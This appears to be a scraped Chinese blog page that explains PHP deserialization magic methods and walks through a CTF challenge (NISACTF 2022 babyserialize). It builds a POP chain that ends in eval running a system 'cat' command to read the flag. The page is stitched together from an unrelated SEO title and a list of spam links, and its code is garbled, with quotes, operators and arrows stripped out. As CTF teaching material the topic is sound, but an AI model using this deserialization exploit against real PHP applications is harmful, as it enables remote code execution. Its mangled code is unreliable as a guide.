当前位置: 首页 > news >正文

校史网站开发技术自己做网站都要什么软件

校史网站开发技术,自己做网站都要什么软件,塘厦镇网站建设,长安网站制作公司php中#xff0c;序列化和反序列化是相对的两个过程#xff0c;序列化是把变量或对象转化成字符串的过程 反序列化是把字符串转换为变量过着对象的过程 在php的反序列化中#xff0c;存在类#xff0c;当类被以特定的方式就会触发魔术方法#xff0c;在实行序列化的过程…php中序列化和反序列化是相对的两个过程序列化是把变量或对象转化成字符串的过程 反序列化是把字符串转换为变量过着对象的过程 在php的反序列化中存在类当类被以特定的方式就会触发魔术方法在实行序列化的过程中合理的调用魔术方法是能成功的关键尤其在pop链的构造中需要在多个类中调用不同的魔术方法来构成完整正确的链。对于pop链的构造优先找到链尾明确了在链尾需要调用到什么魔术方法来实现再往上反推 记录一下目前为止我遇到过的魔术方法 _construct(),构造函数当在实例化一个对象时会被调用也就是new一个对象时会调用 ?php class G{public $user;public function __construct(){$this-user $user;echo __construct test;}} $g new G; echo serialize($g) _destruct()折构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行在new完一个对象后如果有赋值的指像那么就会丢弃并触发__destruct,在new和unserialize时会触发 ?php class G{public $user;public function __destruct(){$this-user $user;echo __destruct test;}} $g new G; $aserialize($g); echo unserialize($a); ? _invoke()函数用调用函数的方法调用一个对象 ?php class G{public $user;public function __invoke(){eval($this-$user);}} $g new G; ? _toString(),对象被当做字符串调用时触发或者echo时触发 ?php class G{public $user;public function __invoke(){system($this-$user);}} $g new G; echo $g; ? _wakeup()执行unserialize时触发这个函数又是需要绕过绕过的方法就是让我们构造的序列化的字符串中的对象数量大于真实存在的数量就可以了因为反序列化的过程中php会忽略掉多出来的数据 看看题吧 [SWPUCTF 2021 新生赛]no_wakeup http://t.csdnimg.cn/uG79E [NISACTF 2022]babyserialize 先看源代码有4个类需要构造pop链了 ?php include waf.php; class NISA{public $funshow_me_flag;public $txw4ever;public function __wakeup(){if($this-funshow_me_flag){hint();}}function __call($from,$val){$this-fun$val[0];}public function __toString(){echo $this-fun;return ;}public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);} }class TianXiWei{public $ext;public $x;public function __wakeup(){$this-ext-nisa($this-x);} }class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this-huang-fun$arg[0];}public function __toString(){$bb $this-su;return $bb();} }class four{public $aTXW4EVER;private $funabc;public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);}} }if(isset($_GET[ser])){unserialize($_GET[ser]); }else{highlight_file(__FILE__); }//func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //}//function hint(){ // echo .......; // die(); //} ? 构建pop链要先找到链尾链尾有什么特征呢一般链尾都是具有evalinclude这些高危函数能够让我们利用来获取flag的地方 public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);} eval函数很明显就是能够利用获取flag的位置作为链尾然后开始反推要先触发invoke对象才会执行eval函数invoke函数在将对象以函数的形式调用时触发到所有类中寻找调用函数的 public function __toString(){$bb $this-su;return $bb(); 下一步触发tostring函数寻找调用字符串的找到strtolower函数该函数是将字符串转换成小写 public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);} __set(),在对不存在或者不可访问的成员变量进行赋值就会自动调用去寻找类中没被定义的变量fun是没有被定义的所以不存在 public function __call($fun1,$arg){$this-huang-fun$arg[0];} _call调用一个不可访问的方式触发调用了nisa但是这个类中不存在因此无法访问 public function __wakeup(){$this-ext-nisa($this-x);} 现在的wakeup又回到了NISA一条pop链就完成了 ?php class NISA{public $fun123;public $txw4everSystem(cat /fllllllaaag );;public function __wakeup(){if($this-funshow_me_flag){hint();}}function __call($from,$val){$this-fun$val[0];}public function __toString(){echo $this-fun;return ;}public function __invoke(){checkcheck($this-txw4ever);eval($this-txw4ever);} }class TianXiWei{public $ext;public $x;public function __wakeup(){$this-ext-nisa($this-x);} }class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this-huang-fun$arg[0];}public function __toString(){$bb $this-su;return $bb();} }class four{public $aabc;private $funsixsixsix;public function __set($name, $value){$this-$name$value;if ($this-fun sixsixsix){strtolower($this-a);}} } $nnew NISA; $inew Ilovetxw; $i-su$n; $fnew four; $f-a$i; $inew Ilovetxw; $i-huang$f; $tnew TianXiWei; $t-ext$i; echo urlencode(serialize($t)); ?
http://www.zqtcl.cn/news/582808/

相关文章:

  • 济南建站公司注意事项做钓鱼网站要什么工具
  • 网站建设数据录入创建网络公司
  • 行业网站建设报价摄影标志logo设计欣赏
  • 做reference的网站网站首页 模板
  • 微信php网站开发流程图做网站优化好的网络公司
  • 网站显示百度地图长沙制作网页的基本步骤
  • 免费做封面的网站哈尔滨网页制作要多少钱
  • html免费网页素材网站优化教程
  • 百度关键词网站排名优化软件seo服务 收费
  • 中英文切换网站网站建设的关键问题
  • 5款免费网站管理系统wordpress 本地
  • 企业网站制作公司盈利百度云搜索
  • 微云影视自助建站系统大理州建设局网站门户网
  • 构建网站需要会什么意思辽宁省朝阳网站建设
  • 网站建设捌金手指专业1公司域名邮箱注册
  • 建设工程协会网站建设工程合同属于专属管辖吗
  • 网站建设费可分摊几年电子商务网站建设基础
  • wordpress api 发贴北京网站优化seo
  • 青岛网站制作服务商wordpress红包
  • 网站响应式设计如何提高网站文章收录
  • 网站 橙色如何做自己网站的seo
  • 网上商城网站建设公司兰州网站制作公司怎么样
  • 网站的动态图怎么做的获取网站访客qq
  • 黑龙江网站建站建设知名品牌形象设计公司
  • 网站建设去哪可接单怎么做微信小程序平台
  • 做外贸重新设计网站兰州网站建设慕枫
  • 服装销售 网站建设论文搭建企业网站需要什么
  • cnnic网站备案html网站建设代码
  • 金华网站建设明细报价表c苏宁网站开发
  • 在手机上怎么做微电影网站湖南人工智能建站系统软件